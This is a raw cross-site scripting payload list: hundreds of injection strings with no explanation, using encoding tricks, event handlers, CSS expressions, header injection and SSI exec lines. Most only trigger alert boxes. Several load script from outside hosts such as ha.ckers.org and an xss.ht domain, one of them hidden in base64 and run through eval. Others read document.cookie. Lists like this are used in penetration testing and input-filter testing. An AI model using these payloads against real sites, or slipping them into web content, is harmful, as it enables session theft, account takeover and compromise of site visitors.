0%0d%0a%00<script src=//h4k.in> 0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search 0,a7=/s/!=/s/?s3[11]:0,a8=/s/!=/s/?s3[12]: 0,a=a1+a2+a3+a4+a5+a6+a7+a8,1,e(a) 0,e2=/s/!=/s/?s3[1]:0,e3=/s/!=/s/?s3[2]:0,e4=/s/!=/s/?s3[3]:0,e=/s/!=/ 0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=pa 0?'':'ascr';s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7= 0\"autofocus/onfocus=alert(1)--><video/poster/ error=prompt(2)>"-confirm(3)-" 0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" 1"><svg onload=alert(1)> 1'"><img/src/onerror=.1|alert``> 1;a=eval;b=alert;a(b(/c/.source)); 1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a> 1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=javascript:alert(1)>> 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=javascript:alert(1)>`> 1<svg onload=alert(1)> 1];a=eval;b=alert;a(b(17));// 1script3document.vulnerable=true;1/script3 1};a=eval;b=alert;a(b(14));// 123[''+<_>ev</_>+<_>al</_>](''+<_>aler</_>+<_>t</_>+<_>(1)</_>); !--" /><script>alert('xss');</script> "'>confirm(1)</Script><Svg><Script/1=' "'`><\x00img src=xxx:x onerror=javascript:alert(1)> "'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)> "'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p> "'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF "'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF "/></a></><img src=1.gif onerror=alert(1)> "/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x /> "/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x /> "/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x /> "/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x /> "/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x /> "/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x /> "/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x /> "/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x /> "/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x /> ";>;<;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(";XSS";)>; ">/KinG-InFeT.NeT/><script>alert(document.cookie)</script> ">/XaDoS/><script>alert(document.cookie)</script><script src="http://www.site.com/XSS.js"></script> "></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> "></iframe><script>alert(123)</script> "></iframe><script>alert(`TEXT YOU WANT TO BE DISPLAYED`);</script><iframe frameborder="0%EF%BB%BF "></tag><svg onload=alert(1)> "><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> "><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=" "><STYLE>@import"javascript:alert('XSS')";</STYLE> "><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1> "><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1> "><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>" "><h1><IFRAME width="420" height="315" SRC="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" onmouseover="alert(document.cookie)"></IFRAME>123</h1> "><h1><iframe width="420" height="315" src="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" allowfullscreen></iframe>123</h1> "><iframe%20src="http://google.com"%%203E "><iframe src="javascript:alert(XSS)"> "><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://hackeroneofjaaah.xss.ht";parent.document.body.appendChild(a);</script>"> "><img src=1 onerror=alert(1)>.gif "><img src="x:x" onerror="alert(XSS)"> "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vaGFja2Vyb25lb2ZqYWFhaC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))> "><img src=x onerror=javascript:alert(1)> "><img src=x onerror=javascript:alert("1")> "><img src=x onerror=javascript:alert("A")> "><img src=x onerror=javascript:alert('1')> "><img src=x onerror=javascript:alert('A')> "><img src=x onerror=javascript:alert(("1"))> "><img src=x onerror=javascript:alert(("A"))> "><img src=x onerror=javascript:alert(('1'))> "><img src=x onerror=javascript:alert(('A'))> "><img src=x onerror=javascript:alert((A))> "><img src=x onerror=javascript:alert((`1`))> "><img src=x onerror=javascript:alert((`A`))> "><img src=x onerror=javascript:alert(A)> "><img src=x onerror=javascript:alert(`1`)> "><img src=x onerror=javascript:alert(`A`)> "><img src=x onerror=prompt(1);> "><img src=x onerror=window.open('https://www.google.com/');> "><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vaGFja2Vyb25lb2ZqYWFhaC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus> "><link rel=import href=data:text/html,<script>alert(1)</script> "><object+data=javascript%26%63%6f%6c%6f%6e%3b'straccessng'.replace('access',alert)> "><s"%2b"cript>alert(document.cookie)</script> "><script>alert(0)</script> "><script>alert(1337)</script>"><script>alert("XSS by \nxss</h1></marquee> "><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee> "><script>alert('XSS')</script> "><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script> "><script alert(String.fromCharCode(88,83,83))</script> "><script src=//brutelogic.com.br/1.js# "><script src=data:,alert(1)// "><script src=https://hackeroneofjaaah.xss.ht></script> "><svg/onload=alert(1)>"@x.y "><svg><script/xlink:href="data:,alert(1) <svg><script/xlink:href=data:,alert(1)></script> <frameset/onpageshow=alert(1)> "><svg onload=alert(1)// "><svg onload=alert(1)> "><svg onload=alert(1)>.gif "`'><script>-javascript:alert(1)</script> "`'><script>\x00javascript:alert(1)</script> "`'><script>\x0Ajavascript:alert(1)</script> "`'><script>\x0Bjavascript:alert(1)</script> "`'><script>\x0Cjavascript:alert(1)</script> "`'><script>\x0Djavascript:alert(1)</script> "`'><script>\x2Bjavascript:alert(1)</script> "`'><script>\x3Bjavascript:alert(1)</script> "`'><script>\x7Ejavascript:alert(1)</script> "`'><script>\x09javascript:alert(1)</script> "`'><script>\x20javascript:alert(1)</script> "`'><script>\x21javascript:alert(1)</script> "`'><script>\xC2\x85javascript:alert(1)</script> "`'><script>\xC2\xA0javascript:alert(1)</script> "`'><script>\xE1\x9A\x80javascript:alert(1)</script> "`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script> "`'><script>\xE2\x80\x8Ajavascript:alert(1)</script> "`'><script>\xE2\x80\x8Bjavascript:alert(1)</script> "`'><script>\xE2\x80\x80javascript:alert(1)</script> "`'><script>\xE2\x80\x81javascript:alert(1)</script> "`'><script>\xE2\x80\x82javascript:alert(1)</script> "`'><script>\xE2\x80\x83javascript:alert(1)</script> "`'><script>\xE2\x80\x84javascript:alert(1)</script> "`'><script>\xE2\x80\x85javascript:alert(1)</script> "`'><script>\xE2\x80\x86javascript:alert(1)</script> "`'><script>\xE2\x80\x87javascript:alert(1)</script> "`'><script>\xE2\x80\x88javascript:alert(1)</script> "`'><script>\xE2\x80\x89javascript:alert(1)</script> "`'><script>\xE2\x80\xA8javascript:alert(1)</script> "`'><script>\xE2\x80\xA9javascript:alert(1)</script> "`'><script>\xE2\x80\xAFjavascript:alert(1)</script> "`'><script>\xE2\x81\x9Fjavascript:alert(1)</script> "`'><script>\xE3\x80\x80javascript:alert(1)</script> "`'><script>\xEF\xBB\xBFjavascript:alert(1)</script> "`'><script>\xEF\xBF\xAEjavascript:alert(1)</script> "`'><script>\xEF\xBF\xBEjavascript:alert(1)</script> "`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script> "`-alert(1)</script><script>` "autof<x>ocus o<x>nfocus=alert<x>(1)// "autofocus/onfocus=alert(1)// "autofocus onfocus=alert(1) // "o<x>nmouseover=alert<x>(1)// " onfocus=alert(document.domain) "> <" "onmouseover=alert(1)// "onmouseover=alert(1) // #92url(//busi& #98\i\nd\in\g:& #99o.uk\/labs #0000108ert('XSS')> #110ess\i\nfo.& #"><img src=M onerror=alert('XSS');> # credit to rsnake #x{font-family:foo[bar;color:green;} #y];color:red;{} $("a.bar").click(); $("a.bar").click(function() { $("span.foo").click(function() { $=document,$=$.URL,$$=unescape,$$$=eval,$$$($$($)) $_=document,$__=$_.URL,$___=unescape,$_=$_.body,$_.innerHTML = $___(http=$__) ${``[class extends[alert``]{}]} ${alert(1)} %0A%0D%0A%3Cscript%3Ealert(1)%3C/script%3E %0D%0ALocation:%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D %0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0A%0D%0A%3Cscript %0da=eval;b=alert;a(b(/d/.source)); %01Jav%09asc%09ript:https://DOMAIN/%250Acon%09firm%25%281%25%29 %2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi- %2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4- %3C %3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/xssme2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{alert%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E %3Csvg%2Fx%3D%22%3E%22%2F%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E()%2F%2F %3Csvg/x=%22%3E%22/%3Cscript%3Ealert(document.cookie)%3C/script%3E()// %3Cx onxxx=alert(1) %3Ealert(1)%3C/script%3E %3c%69%6d%67%2f%73%72%63%3d%31 %3cscript%3ealert('XSS')%3c/script%3e %20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%29%3e %22%3e%3cscript%3ealert('XSS')%3c/script%3e %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E %22;alert%28%27RVRSH3LL_XSS%29// %22><svg%20onload=confirm(1);> %26%2339);x=alert;x(%26%2340 /finally through!/.source %26%2341);// %27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E %253Cscript%253Ealert('XSS')%253C%252Fscript%253E %253Csvg%2520o%256Eload%253Dalert%25281%2529%253E %253cscript%253ealert(1)%253c/script%253e %253cscript%253ealert(document.cookie)%253c/script%253e %2522%253E%253Csvg%2520o%256Eload%253Dalert%25281%2529%253E %BCscript%BEalert(%A2XSS%A2)%BC/script%BE %CA%BA>%EF%BC%9Csvg/onload%EF%BC%9Dalert%EF%BC%881)> %u003Csvg onload=alert(1)> %u3008svg onload=alert(2)> %uFF1Csvg onload=alert(3)> �</form><input type="date" onfocus="alert(1)"> <blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera} "><h1/onmouseover='\u0061lert(1)'> "><h1/onmouseover='\u0061lert(1)'>%00 "><svg><style>{-o-link-source:'<body/onload=confirm(1)>' 'XSS')> .xml\#xss)&> < < < < < < \/xbl\/xbl\ le&<WBR>#114;t('XS<WBR>;S')> < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < &<WBR>#0000097le&<WBR>#0000114t(&<WBR>#0000039XS&<WBR>#0000083')> &<WBR>#x27XSS')> &<script>document.vulnerable=true;</script> < < '';!--"<XSS>=&{()} ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> < < <![endif]--> <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> <!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"--> <!--[if gte IE 4]> <!--[if gte IE 4]> <<SCRIPT>alert("XSS");//<</SCRIPT> <<SCRIPT>alert(\"XSS\");//<</SCRIPT> </BODY></HTML> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> </TITLE><SCRIPT>alert("XSS");</SCRIPT> </TITLE><SCRIPT>alert(\"XSS\");</SCRIPT> </br style=a:expression(alert())> </script><script>alert(1)</script> <? echo('<SCR)'; <? echo('<SCR)'; <?import namespace=\"t\" implementation=\"#default#time2\"> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <A HREF="//google">XSS</A> <A HREF="//www.google.com/">XSS</A> <A HREF="h tt p://6&#09;6.000146.0x7.147/">XSS</A> <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> <A HREF="http://66.102.7.147/">XSS</A> <A HREF="http://0102.0146.0007.00000223/">XSS</A> <A HREF="http://1113982867/">XSS</A> <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> <A HREF="http://google.com/">XSS</A> <A HREF="http://google:ha.ckers.org">XSS</A> <A HREF="http://ha.ckers.org@google">XSS</A> <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> <A HREF="http://www.google.com./">XSS</A> <A HREF="javascript:document.location='http://www.google.com/'">XSS</A> <A HREF=\"//google\">XSS</A> <A HREF=\"//www.google.com/\">XSS</A> <A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A> <A HREF=\"htt p://6 6.000146.0x7.147/\">XSS</A> <A HREF=\"http://66.102.7.147/\">XSS</A> <A HREF=\"http://0102.0146.0007.00000223/\">XSS</A> <A HREF=\"http://1113982867/\">XSS</A> <A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A> <A HREF=\"http://google.com/\">XSS</A> <A HREF=\"http://google:ha.ckers.org\">XSS</A> <A HREF=\"http://ha.ckers.org@google\">XSS</A> <A HREF=\"http://www.gohttp://www.google.com/ogle.com/\">XSS</A> <A HREF=\"http://www.google.com./\">XSS</A> <A HREF=\"javascript:document.location='http://www.google.com/'\">XSS</A> <BASE HREF="javascript:alert('XSS');//"> <BASE HREF=\"javascript:alert('XSS');//\"> <BGSOUND SRC="javascript:alert('XSS');"> <BGSOUND SRC=\"javascript:alert('XSS');\"> <BODY BACKGROUND="javascript:alert('XSS');"> <BODY BACKGROUND=\"javascript:alert('XSS')\"> <BODY ONLOAD=alert('XSS')> <BODY ONLOAD=alert('XSS')> <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")> <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> <BR SIZE="&{alert('XSS')}"> <BR SIZE=\"&{alert('XSS')}\"> <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="width: expression(alert('XSS'));"> <DIV STYLE=\"background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029\"> <DIV STYLE=\"background-image: url(javascript:alert('XSS'))\"> <DIV STYLE=\"width: expression(alert('XSS'));\"> <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> <EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED> <EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED> <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> <FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET> <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- <HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- <HTML><BODY> <HTML xmlns:xss><?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"><xss:xss>XSS</xss:xss></HTML> <HTML xmlns:xss> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME> <IFRAME SRC=http://ha.ckers.org/scriptlet.html < <IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " > <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG DYNSRC="javascript:alert('XSS');"> <IMG DYNSRC=\"javascript:alert('XSS')\"> <IMG LOWSRC="javascript:alert('XSS');"> <IMG LOWSRC=\"javascript:alert('XSS')\"> <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert('XSS')> <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> <IMG SRC='vbscript:msgbox("XSS")'> <IMG SRC=" &#14; javascript:alert('XSS');"> <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav&#x0A;ascript:alert('XSS');"> <IMG SRC="jav&#x0D;ascript:alert('XSS');"> <IMG SRC="jav&#x09;ascript:alert('XSS');"> <IMG SRC="javascript:alert('XSS')" <IMG SRC="javascript:alert('XSS');"> <IMG SRC="livescript:[code]"> <IMG SRC="mocha:[code]"> <IMG SRC='vbscript:msgbox(\"XSS\")'> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\"> <IMG SRC=\"jav ascript:alert('XSS');\"> <IMG SRC=\"jav ascript:alert('XSS');\"> <IMG SRC=\"jav ascript:alert('XSS');\"> <IMG SRC=\"javascript:alert('XSS');\"> <IMG SRC=\" javascript:alert('XSS');\"> <IMG SRC=\"javascript:alert('XSS')\" <IMG SRC=\"livescript:[code]\"> <IMG SRC=\"mocha:[code]\"> <IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`> <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> <IMG SRC=javascript:alert("XSS")> <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG SRC=javascript:alert(&quot;XSS&quot;)> <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> <IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\"> <IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\"> <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> <INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\"> <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> <LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER> <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> <LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\"> <LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\"> <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> <META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\"> <META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\"> <META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\" <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\"> <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\"> <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> <OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT> <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> <SCRIPT>a=/XSS/ <SCRIPT>alert('XSS')</SCRIPT> <SCRIPT>alert('XSS');</SCRIPT> <SCRIPT>alert(/XSS/.source)</SCRIPT> <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> <SCRIPT SRC=//ha.ckers.org/.js> <SCRIPT SRC=//ha.ckers.org/.j> <SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT> <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <SCRIPT SRC=http://ha.ckers.org/xss.js?<B> <SCRIPT SRC=http://ha.ckers.org/xss.js <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN> <STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A> <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <STYLE>@im\port'\ja\vasc\ript:alert(\"XSS\")';</STYLE> <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> <STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE> <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> <STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS <STYLE TYPE="text/javascript">alert('XSS');</STYLE> <STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE> <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE> <TABLE><TD BACKGROUND=\"javascript:alert('XSS')\"> <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> <TABLE BACKGROUND=\"javascript:alert('XSS')\"> <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> <XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> <XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML> <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> <XML SRC=\"xsstest.xml\" ID=I></XML> <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"> <XSS STYLE="xss:expression(alert('XSS'))"> <XSS STYLE=\"behavior: url(xss.htc);\"> <XSS STYLE=\"xss:expression(alert('XSS'))\"> <br size=\"&{alert('XSS')}\"> <iframe src=http://ha.ckers.org/scriptlet.html> <scrscriptipt>alert(1)</scrscriptipt> <t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\"> "><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> &{document.vulnerable=true;}; '1<svg onload=alert(1)> '""><script language="JavaScript"> alert('X \nS \nS');</script> '"></title><script>alert(1111)</script> '"></title><script>alert(1337)</script>><marquee><h1>XSS by xss</h1></marquee> '"></title><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee> '">><marquee><h1>XSS</h1></marquee> '">><script>alert('XSS')</script> '"`><script>/* *\x2Fjavascript:alert(1)// */</script> '%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E '%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e' '';!--"<XSS>=&{()} '';!--"<script>alert(0);</script>=&{(alert(1))} '';!--\"<XSS>=&{()} '); alert('XSS '); alert('xss'); var x=' '+''; '-alert(1)-' '-alert(1)-'<svg> '-alert(1)// '-confirm`1`-' '-document.write`<h1>juniorEXPLOIT</h1>`-' ';';;!--";<;XSS>;=&;{()} ';//%0da=eval;b=alert;a(b(9));// ';;alert(String.fromCharCode(88,83,83))//\';;alert(String.fromCharCode(88,83,83))//";;alert(String.fromCharCode(88,83,83))//\";;alert(String.fromCharCode(88,83,83))//-->;<;/SCRIPT>;";>;';>;<;SCRIPT>;alert(String.fromCharCode(88,83,83))<;/SCRIPT>; 